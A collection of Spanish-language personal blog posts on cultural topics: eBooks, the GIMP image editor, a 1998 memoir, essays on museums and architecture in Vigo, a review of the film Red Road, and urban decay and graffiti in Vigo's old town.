Con la presentación de un nuevo lector de eBooks, surgen numerosas voces que profetizan el fin del libro o la nueva vía de negocio de los periódicos. Pero, en mi opinión, estos dispositivos son una simplista adaptación de modelos de negocio tradicionales al nuevo escenario tecnológico. Y eso suele terminar en fracaso.
A las industrias culturales les está costando una barbaridad adaptarse a la nueva situación que Internet ha creado y cualquier clavo ardiendo les sirve como asidero. El desconocimiento del medio y la incapacidad para concebir proyectos realmente adaptados a las nuevas circunstancias, son un campo propicio para que triunfen ideas que se basan en la simple traslación de lo analógico a lo digital.
Los datos parecen revelar que las ventas y el uso del eBook aumentan a un ritmo considerable y es curioso como a los medios de comunicación les encanta poner una noticia sobre el tema cada x tiempo. Como si fuese el futuro mismo lo que mostrasen.
Si queremos analizar el planteamiento que hay detrás del eBook, vemos que, primero, es conveniente distinguir entre el propio eBook y el dispositivo que permite su lectura. El primero no es más que la digitalización de un libro originariamente editado en papel. Es decir, un texto digital concebido para leerse de forma lineal, en el que no hay hipertextualidad o interacción del usuario y con una extensión similar a la de un libro o presentación similar a la de un periódico. El segundo sería el lector de libros electrónicos. Es decir, el aparato que permite la lectura de estos eBooks (como, por ejemplo, el Kindle).
Por lo tanto este formato toma las limitaciones del libro y del periódico tradicional para llevarlas a una presentación digital. En consecuencia, como indica Enrique Dans:
No cumple con lo que parece haberse convertido en un interesante y paradójico axioma del periodismo contemporáneo: los periódicos ya no pueden ser periódicos, no pueden estar sometidos a una periodicidad. Deben ser continuos. Los periódicos más exitosos en la red son, en gran medida, aquellos que actualizan sus noticias a mayor velocidad.Esta misma característica impide otro de los atributos (…) convertirse en algo social, en un sitio donde el lector ya no se limita a leer, sino que también participa con sus comentarios, reenvía las noticias a terceros o a filtros sociales, etc.
Si comparamos este dispositivo con los ordenadores portátiles o los propios teléfonos móviles, el lector de libros electrónicos gana en autonomía de la batería (varios días de duración) y comodidad en la lectura, pero pierde justamente en esos aspectos que definen la actual revolución de las comunicaciones.
Detrás del eBook hay una visión que reduce todo a una cuestión de soporte (pasando de lo analógico a lo digital) y piensa que Internet es un sustitutivo directo de los medios tradicionales como la televisión, la radio, la prensa, etc. sin entender que lo que el usuario quiere no es una radio o una televisión, sino contenidos, deconstruyendo la forma de organizarlos y consumirlos.
No es comparable leer un libro o un periódico con navegar por Internet, son cosas diferentes. El problema, lo que hace que sean bienes sustitutivos, es la escasez de tiempo. Si estamos en Internet, no estamos haciendo otras cosas.
Por mucho que se aventure que el fin del libro es el nacimiento del dispositivo eBook, creo que lo que en realidad amenaza al libro es la preferencia por otros tipos de consumos de la información. La rapidez, la navegación a través de enlaces y la interacción es lo que está ganando la partida a los medios tradicionales. Con el tiempo los usuarios de contenidos prefieren otros lenguajes y otras estrategias narrativas y los creadores evolucionan en función de estas preferencias. Es probable que en el futuro una noticia sea algo muy diferente a lo que es hoy en día.
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El GIMP es una herramienta de manipulación fotográfica multiplataforma. Permite realizar todo tipo de tareas como: retoque fotográfico, composición y creación de imágenes. Una verdadera alternativa al Photoshop libre y gratuita.
La necesidad de instalarme un programa de edición de imágenes de forma legal y, a poder ser, gratuita me ha llevado a conocer de primera mano el GIMP, un curioso programa GNU que sorprende desde el primer contacto.
No se trata de una copia del Photoshop, como sucede en el caso del Open Oficce respecto al famoso producto de Microsoft, sino que es una apuesta verdaderamente alternativa que, partiendo del planteamiento básico del uso de capas y nomenclaturas similares al programa de Adobe, hace un planteamiento mucho más orientado a trabajos sencillos de transformación de la imagen: recorte, transformación, rotación, etc. Lo que no quita que a un usuario avanzado le cueste encontrar sus límites.
El riesgo de este concepto resulta evidente. Los usuarios de Photoshop se cabrean porque no es igual que éste y los que han utilizado pocos programas más que el Paint o el asistente de su cámara de fotos, lo conciben como un programa excesivamente complejo. Si a esto le sumamos que falta mucho por mejorar en el aspecto visual de la interface, pues nos hacemos una idea de los handicaps del producto. En cualquier caso, no tenemos excusa cuando disponemos de un manual completísimo y en castellano.
Aunque particularmente echo de menos aplicaciones como la automatización de lotes de Photoshop, es verdad que en el día a día, cuando se le coge el punto, es verdaderamente rápido y eficaz.
Sin duda es un programa imprescindible para todos aquellos que no quieran dejarse sus ahorros en la compra del producto de Adobe, usuarios de Linux, amantes de la libertad (no del liberalismo) y desarrolladores en general que tengan ganas de aportar su conocimiento para seguir ampliando las posibilidades de este entrañable software.
Precisamente allá por 1984 Loquillo y los Trogloditas preguntaban dónde estabas tú en el 77. Sonido de otra época que, desde que Zemos98 me emplazó a hacer este review, grita en mi mente y sale por mis labio en forma de tímidos susurros. «A los 15 eras joven y a los 20 ya mayor», decía Loquillo producto del chapurreo lírico de Sabino Méndez, remontándose a un desorden de cosas, a una forma de enfrentarse al mundo, a un espíritu del que, en los 90, casi nada quedaba…
En primer lugar quiero pediros disculpas por el bajo ritmo de publicaciones en éste vuestro blog y la larga demora en la publicación de las tres partes del artículo sobre continentes y contenidos de cultura que este post interrumpe para quitar solemnidad y darle a Taburete un poquito de humanidad que también se la merece…
Pues bien 17 años tenía yo en 1998 y, lejos de empezar a ser mayor, todavía estaba empezando a ser pequeño. Producto de la generación X, terminaba el instituto y escuchaba las melancólicas melodías de Pearl Jam. Discos más tranquilos y sin ese sello de mitiquez del Ten o el Versus, el Vitalogy y el No Code acompañaban mis días, además de los, por aquel entonces, recientemente disueltos Héroes del Silencio.
Seguía mediosaliendo con la medionovia que seguiría siendo mi novia y nonovia durante muchos años hasta hace bien poco, a la par que robaba mediomagreos a una compañera de instituto a escondidas del resto del mundo, todavía no sé bien por qué motivo, pero era gracioso y hasta emocionante…
La literatura existencial entraba en mi vida a través de, nada nuevo bajo el sol, La insoportable levedad del ser de Kundera y me sentía identificado con el ya clásico Martín Hache.
El 98 fue para mí un año de transición entre el manido pasado y un futuro que cuanto más próximo estaba a él, más borroso se volvía. Ante tanta incertidumbre, como haría el burro, la oveja o el entrañable cervatillo, mejor quedarse en casa haciendo lo que uno conoce. En pocos meses supe que una de las primeras decisiones importantes que había tomado sobre mi vida, no la había gestionado bien. Pero me tomé un año para pensar qué es lo que quería hacer y, la verdad, puede que no haya sido nada desastroso haber estado un año en empresariales desarrollando una extraordinaria habilidad para jugar al mus (que todavía conservo), comentando todos y cada uno de los culos y escotes que pasaban por delante de la mesa de la cafetería y sin estudiar prácticamente nada más que las asignaturas de sociología y estadística.
Todavía hoy, y a mi manera, sigo pensando que tenía sentido que yo estudiase administración y dirección de empresas. Y sigo pensando, sin decírselo a nadie, que con este MBA que estoy haciendo en empresas e instituciones culturales estoy cerrando un círculo que empezaba precisamente en ese año 1998.
Por lo tanto no viví una revolución, no viví una guerra, ni siquiera una mísera y descafeinada transición. Mi vida, desde el 98, es como la de todos los consentidos hijos del estado del bienestar y de los contratos indefinidos de nuestros papás, un tanto absurda y sin grandes sobresaltos. Una vida en la que, por mucho que me haya empeñado en complejizarla y buscarle sentido en estos 10 años, no tiene más relevancia que la de esos momentos, esos instantes, con esa gente que te ha acompañado, con la que te has reído, con la que has llorado, con la que has hecho lo que realmente querías. Con el paso de esta minúscula cantidad de días, semanas y meses que suponen una década cada día tengo más claro que de poco valen las cosas que no valen la pena, personajes sin vida con los que me he topado, personas vacías y chupasangres, envidiosos y necios. El mundo es nuestro al fin.
P.D.: Por cierto, tras escribir todo esto me ponen en mi lugar y me indican que estoy describiendo 1999… En fin, el recuerdo ese gran traidor.P.D.2: Siento no poder mostraros fotos de mí y mi pelo largo en un scooter color violeta con flamantes llantas blancas, pero es que nunca le di importancia a estas cosas y no encuentro ninguna por aquí…
Para terminar esta serie de artículos me gustaría hablar de un proyecto que me parece realmente interesante y que representa exactamente la cara opuesta a los modelos que he tratado hasta ahora. Se trata del Laboratorio Alg-a, un centro cultural que se cobijará en dos contenedores de mercancías adaptados por el arquitecto sevillano Santiago Cirugeda.
Si en los anteriores posts (I,II,III) he hablado de proyectos basados principalmente en la creación de continentes espectaculares en los que, en muchos casos, el contenido bien poco aporta al mundo de la cultura, el laboratorio que el colectivo de artistas Alg-a instala en estas fechas en Vigo es un extraordinario ejemplo de un continente pragmático y humilde concebido para convertirse en un espacio de creación, exhibición e interacción cultural de primer orden.
Aunque el uso de los contenedores como vivienda u oficinas ha llamado la atención de los medios de comunicación, su uso, a día de hoy, sigue siendo mucho más minoritario de lo que debiera. El hecho de ser un continente fácilmente reciclable para distintos usos, el mínimo impacto que provoca en el espacio y su innovador carácter nómada convierte a estos habitáculos en una propuesta de arquitectura lógica y sostenible.
Quizás sean la humildad y su poca espectacularidad las razones por las que el poder político no apueste por este tipo de alternativas y se mantenga mucho más interesado por grandes construcciones de arquitectos estrella.
Siguiendo esta tendencia el Alg-a Lab no ha contado, desde mi punto de vista, con el apoyo que debiera de las instituciones públicas para realizar este proyecto, que parte de una acertada concepción de la creación cultural, basándose en la idea de que cada vez es más necesario romper el límite temporal que separa la producción de la exhibición. Talleres y actividades performativas que exploran la comunicación a través del uso de nuevas teconologías son las líneas maestras de este proyecto realmente multidisciplinar e innovador, que propone una concepción transversal del conocimiento y de la creación industrial.
Gracias a una modesta iniciativa privada el Laboratorio Alg-a se ha ubicado en un terreno en las afueras de Vigo y, convertida la necesidad en virtud, resulta sorprendentemente mágico ver las fotografías que los Alg-a van publicando en su renovada web (también sensacional) con los contenedores estacionados en un paisaje típicamente gallego, acompañando a un hórreo y una casa rural abandonada (parecida a las “casas doentes” de Manuel Sendón). Desde aquí desearles toda la suerte del mundo y estoy seguro de que, en muy poco tiempo, el Alg-a Lab se va a convertir en un referente de la creación cultural a todos los niveles.
Además es un excelente ejemplo del carácter del arquitecto/artista Santiago Cirugeda que, una vez más, se enmarca dentro de una tendencia alternativa que constata la posibilidad de implementar una arquitectura racional para desarrollar proyectos de este tipo con todas las garantías.
Continúo este «miniensayo» por entregas sobre continentes y contenidos culturales. Puede que gracias al tiempo transcurrido entre el primer artículo y este tercero, haya variado la percepción que tenía de esta problemática al principio y creo que estoy llegando a conclusiones algo más ricas de lo que, en principio, planteaba. Aunque iban a ser tres capítulos, me guardo un as en la manga para dedicar una cuarta parte al Laboratorio de cultura del colectivo Alg-a, que encaja como anillo al dedo en este tema y merece un post entero.
La disociación entre el continente y el contenido existe cuando lo simulado es opuesto a lo real. El museo espactáculo se erige como el mayor/mejor espacio de cultura, mientras que su contenido pierde proporcionalmente sus cualidades a través de la simulación de su consumo. Sean más o menos relevantes, los productos culturales pierden su complejidad, su contenido, su sentido a través del tipo de relación que el supuesto consumidor mantiene con el objeto “cultural”.
Las institución arte/cultura ha realizado un pacto con las masas que se apoya en un nuevo criterio de supuesta objetividad. En aras de una dudosa profesionalización de la gestión cultural, todo proyecto debe plantearse con objetivos evaluables. Para ello se utilizan criterios de análisis cuantitativos simplistas e importados directamente de la lógica empresarial. El éxito de una propuesta de cultura se mide, hoy en día, en base a entradas vendidas, visitantes, número de impactos en medios de comunicación, rendimientos económicos indirectos, etc.
Ni se expone, ni se contempla, ni se visita, ni se compra arte, sino que se consume su simualción. El museo se convierte en escenario y el visitante es el actor que simula su consumo cultural ante las cámaras del museo (contabilizadoras de visitas) y ante sus propias grabadoras-reproductoras de imágenes que aportan verosimilitud a la ficción.
Pero si entendemos toda esta escenificación como un rito, vemos que además de la simulación, se dan consecuencias que son reales. En primer lugar el visitante del museo construye su paradójica identidad a través del consumo y, en segundo lugar, instituciones políticas, patrocinadores, etc. obtienen réditos cualitativos o simbólicos como organizadores del ritual que se interesan en lo cuantitativo tanto en cuanto inunde a un mayor número de subjetividades con esta mistificación.
Los números tienen una extraordinaria capacidad simuladora. Se obtienen, entienden y ordenan con facilidad y se interpretan desde la sencilla lógica de que el ochenta es mejor que el setenta. Pero estos criterios cuantitativos ocultan las relaciones, los procesos, la tipología de la interacción, la creación de subjetividades, etc. aspectos que son más relevantes tanto para los gestores culturales, como para sus patrocinadores.
Sobre esta simulación se cierne una gran amenaza y una gran oportunidad. La primera, el aburrimiento. La desimplicación del consumidor con la obra (algo ajeno y a escudriñar a través del texto explicativo) se corresponde con la desimplicación de artistas y comisarios con la cultura de masas, sus hábitos, sus contradicciones y sus ambiciones. La mayoría de los artistas contemporáneos crean para el propio circuito del arte y no perciben la oportunidad que están captando artistas como Murakami o McCarthy capaces de dialogar con el espacio expositivo de un modo social y logran enfrentar al nuevo espectador ante un espejo o implicarse dentro de su orden de cosas para caricaturizarlo, criticarlo o alimentarlo. Es de esperara que, de aquí en adelante, cada vez más artistas produzcan tomando como referencia la cultura de masas.
Artículos anteriores:
<< Continente Vs. Contenido (II). El Museo Vacío
<< Continente Vs. Contenido (I). Museos Espectáculo
Imágenes:
Exposición de Thomas Struth en el Museo del Prado. Fotografía: Davit
Logo del artículo: Paul McCarthy. Mechanical Pig, 2005. Desde Who killed Bambi?
Siguiendo con la reflexión sobre la relación entre los continentes de cultura y sus contenidos culturales quiero describir/denunciar un ejemplo paradigmático, el Museo do Mar de Galicia. Un alabado proyecto de Aldo Rossi y César Portela que ha permanecido prácticamente sin ninguna actividad durante años. Un ejemplo de la arquitectura concebida como un fin en sí mismo.
Siguiendo la cita de Gilles Lipovetsky (“Cuanto mayores son los medios de expresión, menos cosas se tienen que decir, cuánto más se solicita la subjetividad más anónimo y vacío es el efecto. (…) Esto es precisamente el narcisismo, la expresión gratuita, la primacía del acto de comunicación sobre la primacía de lo comunicado, la indiferencia por los contenidos”.), al hablar de narcisismo del creador me veo obligado a citar una de las máximas expresiones de este proceso, una construcción que considero paradigmática, el Museo del Mar de Galicia. Una obra realizada completamente de espaldas a la sociedad y que en una década no ha realizado más que un par de testimoniales exposiciones, permaneciendo la mayor parte del tiempo cerrado al público.
El Museo del Mar es la obra póstuma de Aldo Rossi (concluida por el gallego César Portela) y es un ejemplo de arquitectura realizada como fin en sí mismo. Podría entenderse como un monumento de los monumentos, siendo una de las mejores muestras de este paradójico enfrentamiento entre el interés por el medio de expresión (por el continente) y la calidad del contenido.
Si hay algo que lo hace especial y enigmático es que, a diferencia de otros museos concebidos por arquitectos “estrella”, el Museo del Mar no está planteado desde una filosofía espectacular que lo convierta en un objeto de consumo de masas (lo que, cuanto menos, sería un uso), sino que, al contrario, está realizado siguiendo los más refinados postulados estéticos de la arquitectura contemporánea. Se asienta con armonía en el paisaje costero de Vigo y se oculta a la vista de aquel que desconoce su ubicación.
Curiosamente, pese a encontrarse muy próximo a una de las zonas más turísticas de Vigo (la playa de Samil), el edificio da la espalda a la carretera principal mediante un discreto portal, una garita de seguridad y un amplio jardín de entrada. Además de por mar y aire sólo se puede contemplar desde dos minúsculas playas que él mismo divide y sobre las que se asienta con una mole de hormigón cuya parte más próxima tiene unos dos metros de altura.
Desprovisto de cualquier funcionalidad tangible se ha convertido en un centro de peregrinación para una minoría iniciada. Su uso, además de como tarjeta de presentación de su creador, se limita al disfrute, casi a escondidas, de arquitectos y fotógrafos. Curiosamente este enigmático “tesoro” ha recibido diferentes premios que lo acreditan como una joya de la arquitectura actual.
Con una escasísima actividad y baja notoriedad, este museo es la imagen del centro cultural sin contenido y uno de los mejores ejemplos de la ausencia de planificación en lo que se refiere a la relación con el entorno social. En las fotografías que nos encontramos en la red del Museo del Mar hay dos aspectos que son denominador común: la belleza y el vacío.
Recientemente el Museo do Mar se ha reinaugurado tras unas obras de remodelación. Esperemos que en esta segunda etapa este singular museo adquiera notoriedad y ofrezca un servicio real a vecinos y visitantes.
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Éste es el primer capítulo de un total de tres en los que realizaré una breve reflexión sobre la relación existente entre los centros culturales y el contenido que muestran. Y surge la pregunta: ¿Se puede afirmar que cuanto más espectacular es el continente de la cultura, menos trascendente es su contenido?
La metonimia es un fenómeno de cambio semántico por el cual se designa una cosa o idea con el nombre de otra, sirviéndose de alguna relación existente entre ambas. De este modo aseguramos, por ejemplo, “comernos un plato” en lugar de las apetitosas lentejas que éste contiene, trasladando el significado del contenido al continente.
Más allá de la lingüística, algo parecido a la metonimia es lo que está ocurriendo con el consumo cultural, en el que parece que muchas veces se “come” el museo en vez de lo que éste contiene.
Esto que podría resultar baladí o un simple juego retórico se está convirtiendo en una fría y dura realidad que da lugar a asociaciones de ideas tan simplistas como eficaces, que evidencian el éxito de proyectos culturales basados en una concepción efectista y próxima a lo que, siguiendo la metáfora alimenticia, se puede denominar como un fast-food cultural. Espacios expositivos conceptualizados para ser vistos desde los medios de comunicación y cuyo uso se limita a servir de telón de fondo para la foto testimonial del turista.
Ejemplos extremos de esta apropiación son las construcciones de Frank Gehry (Guggenheim Bilbao, por ejemplo) que, en palabras de Hall Foster, “más que centros culturales parecen lugares de recepción espectacular, de asombro para el turista. En la Sociedad del Espectáculo Guy Debord definía el espectáculo como el capital acumulado hasta tal punto que se convierte en una imagen. Con Gehry y con otros arquitectos,” continúa Foster, “lo contrario también es cierto: el espectáculo es una imagen acumulada hasta el punto de convertirse en capital”. De este modo no es extraño que la estrategia política en materia de cultura apueste por este tipo de espectaculares construcciones asociadas a una cultura de consumo voraz de imágenes o representaciones.
Siguiendo con las citas (las detallo al final de este texto), José Miguel G.Cortés en su interesante libro “Políticas del Espacio. Arquitectura, Género y Control Social” critica de un modo parecido al arquitecto Santiago Calatrava y su Ciudad de las Artes y las Ciencias. Para ello se apoya primero en la teoría de Baudrillard para definirla como “un monumento –o antimonumento- a la publicidad, porque se propone de inmediato como una demostración anticipada de la operación de la cultura.” Para después rescatar una inquietante sentencia de Lipovetsky: “Cuanto mayores son los medios de expresión, menos cosas se tienen que decir, cuánto más se solicita la subjetividad más anónimo y vacío es el efecto. Paradoja reforzada aun más por el hecho de que nadie en el fondo está interesado por esa profusión de expresión, con una excepción importante: el emisor o el propio creador. Esto es precisamente el narcisismo, la expresión gratuita, la primacía del acto de comunicación sobre la primacía de lo comunicado, la indiferencia por los contenidos”.
Bibliografía:
Foster, Hall.: Sacada del texto «Master Builder» publicado en la muy recomendable Brumaria 3.
Foster cita a su vez el clásico título del situacionista Guy Debord, «La Sociedad del Espectáculo«. Pre-Textos 1999.
G. Cortés, José Miguel: Frase extraída del libro «Políticas del Espacio. Arquitectura, Género y Control Social». Obra verdaderamente interesante que aborda transversalmente estas temáticas para vincularlas con el arte contemporáneo. Edita ACTAR 2006.
Cortés cita también a: Lipovetsky, Gilles.: «La era del vacío», Anagrama. 1986.
Recogiendo el meme de Abrelatas, escribo lo que me sucedió una extraña noche de 1984 mientras dormía. Una breve historia de un misterioso secuestro fuera de control.
“Está usted secuestrado” me dijeron con tono serio y distante. Yo, sorprendido, respondí con preguntas: «¿Por qué?», «¿qué pretenden?» Pero ellos hacían caso omiso a todos mis interrogantes. Era frustrante porque no me daban una sola explicación, no portaban armas y yo les seguía hacia mi trágico destino creciendo mi frustración a cada paso.
Pero la perplejidad fue total cuando descubrí el lugar en el que me iban a tener secuestrado. En un parque público de Vigo unas cintas de rayas rojas y blancas diagonales delimitaban una pequeña zona de no más de seis metros cuadrados, en la que otros tres secuestrados esperaban sentados a que los secuestradores decidiesen liberarles. Extendiendo el brazo y el dedo índice uno de mis extraños acompañantes me instó a introducirme en la zona acordonada. Los silenciosos secuestradores se alejaron por un camino del parque hasta que los perdí de vista. Pasaban las horas e impotente miraba hacia todas partes esperando que entre toda aquella gente que paseaba a nuestro alrededor, alguien nos comunicase que ya éramos libres. Supongo que al final me desperté.
En Red Road el sujeto postmoderno se encuentra en una narración lineal con presentación, nudo y desenlace. Una sorpresa ésta que parece no haber convencido a la crítica por su final “previsible” y “ñoño” pero que permite dar cuerpo al carácter de personajes marcados por sus circunstancias sociales.
La posmodernidad o sobremodernidad, un proceso del que se ha hablado largo y tendido. Uno de esos conceptos que muestran su acertado planteamiento en la cantidad de teoría que se puede desarrollar contemplando la realidad a través de ellos.
El arte contemporáneo, la videocreación y la fotografía han sido las principales herramientas para plasmar una realidad sin futuro y sin pasado. Momentos, atmósferas, sensaciones, procesos cerrados, búcles e imágenes.
Red Road (premio del jurado en Cannes 2006) de la directora Andrea Arnold (Oscar al mejor cortometraje 2005), da un paso que resulta verdaderamente novedoso. El sujeto postmoderno se encuentra en una narración lineal con presentación, nudo y desenlace. Una sorpresa ésta que parece no haber convencido a la crítica por su final “previsible” y “ñoño”pero que permite dar cuerpo al carácter de personajes marcados por sus circunstancias sociales.
Una extraordinaria fotografía y una gran interpretación del reparto son las bases del éxito de una película que nace de un proyecto de Las von Trier que se aleja del postulado dogma, para plantear The Advance Party, tres películas (Red Road es la primera de ellas) en la que tres directores dispondrán de los mismos personajes.
Red Road muestra como la humanidad se abre paso contra todo, en un ambiente degradado, marcado por la presencia de grandes torres de viviendas, espacios de circulación difusos y un mobiliario urbano tan pragmático como frío. En las calles de Glasgow las cámaras controlan a los vecinos y detrás de las cámaras una protagonista padece una profunda soledad que pretende abandonar a través de estrategias de adaptación casi patológicas.
Una película interesante con un hilo narrativo básico que logra dar una continuidad a lo que habitualmente observamos fragmentado. Se rompe de este modo con la simpleza a la que se está llegando a través del abuso de repetitivas metáforas visuales y la falsa interpretación de los no-lugares como espacios sin vida (ésta se encuentra inscrita en todo aquello en lo que hay personas). Los actores se muestran perfectamente circunscritos en la periferia del interés gubernamental y más allá de trabajos autorrealizantes. Un ejercicio creativo verdaderamente singular que, a través de la simplificación de la estructura narrativa, consigue complejizar al tan obviado y deconstruido sujeto postmoderno.
El turismo, ese gran invento, ha llegado a Vigo. El ejército turista invade cada vez más puntos del planeta y la industrial ciudad del sur gallego, aun careciendo de referencias turísticas relevantes, no podía ser una excepción. Eso sí, si pudiese hablar Vigo diría aquello de “y yo con estos pelos”. El Casco Viejo se sitúa en el punto de mira de estos visitantes que se encuentran con un barrio abandonado y decadente.
Mientras todo el globo terráqueo está dando un giro en la perspectiva de construcción y planificación del centro de las ciudades, orientándolas más al disfrute visual y fotográfico del turista que al valor de uso de los propios habitantes, a Vigo le coge por sorpresa la llegada de los cruceros que todas las semanas atracan en el puerto. La ausencia de vacaciones durante este mes de Agosto me permite recoger el sinfín de elementos no turísticos del casco viejo de la ciudad. Casas abandonadas, solares vacíos y las primeras reformas que, a la espera del nuevo plan general urbano y la inevitable transformación de una ciudad de carácter industrial a otra de servicios, muestran un paisaje caótico y marcado por lo que se ha llegado a denominar como feísmo gallego.
El tiempo pasa y el Casco Vello que, en las últimas décadas, ha permanecido ajeno al devenir diario de la ciudad, abandonado y ocupado por sectores marginales, comienza a combinar estudios de arquitectos con berrinches de parejas de yonkis, locales abandonados con negocios de subvenirs todavía en definición, sin ningún icono de una ciudad que carece, por completo, de imagen de marca.
Cuando el tiempo no aconseja pasar el día en la playa, los visitantes armados tan sólo de un mapa, deambulan perdidos y noqueados por una arquitectura tan absurda y desestructurada como difícil de asimilar. Guiados por el más atrevido del clan, la familia apura al paso al introducirse por callejones pestilentes o calles tradicionalmente destinadas a saciar los instintos sexuales de las clases menos pudientes.
Entre tanto barullo, el casco viejo se convierte en el blanco de una interesantísima generación de artistas urbanos que se manejan en estos territorios fronterizos como peces en el agua. Kopro, Tayone, Pelucas, El Tiñas, Nano4814, etc. aportan con sus graffitis, pinturas y plantillas el color y el certificado de la decadencia sobre ventanas y puertas tapiadas de un barrio que ya ha sido comprado y congelado por especuladores a la espera de su inminente revalorización.
Un verdadero caos en peligro de extinción por la transición de un sistema económico industrial a otro de servicios y en el que diferentes tipos sociales (el especulador, el yonki, el turista y el graffitero) conviven de espaldas, sin llegar a cruzarse las miradas.
Más info en:
y alguna foto más que iré colgando en flickr.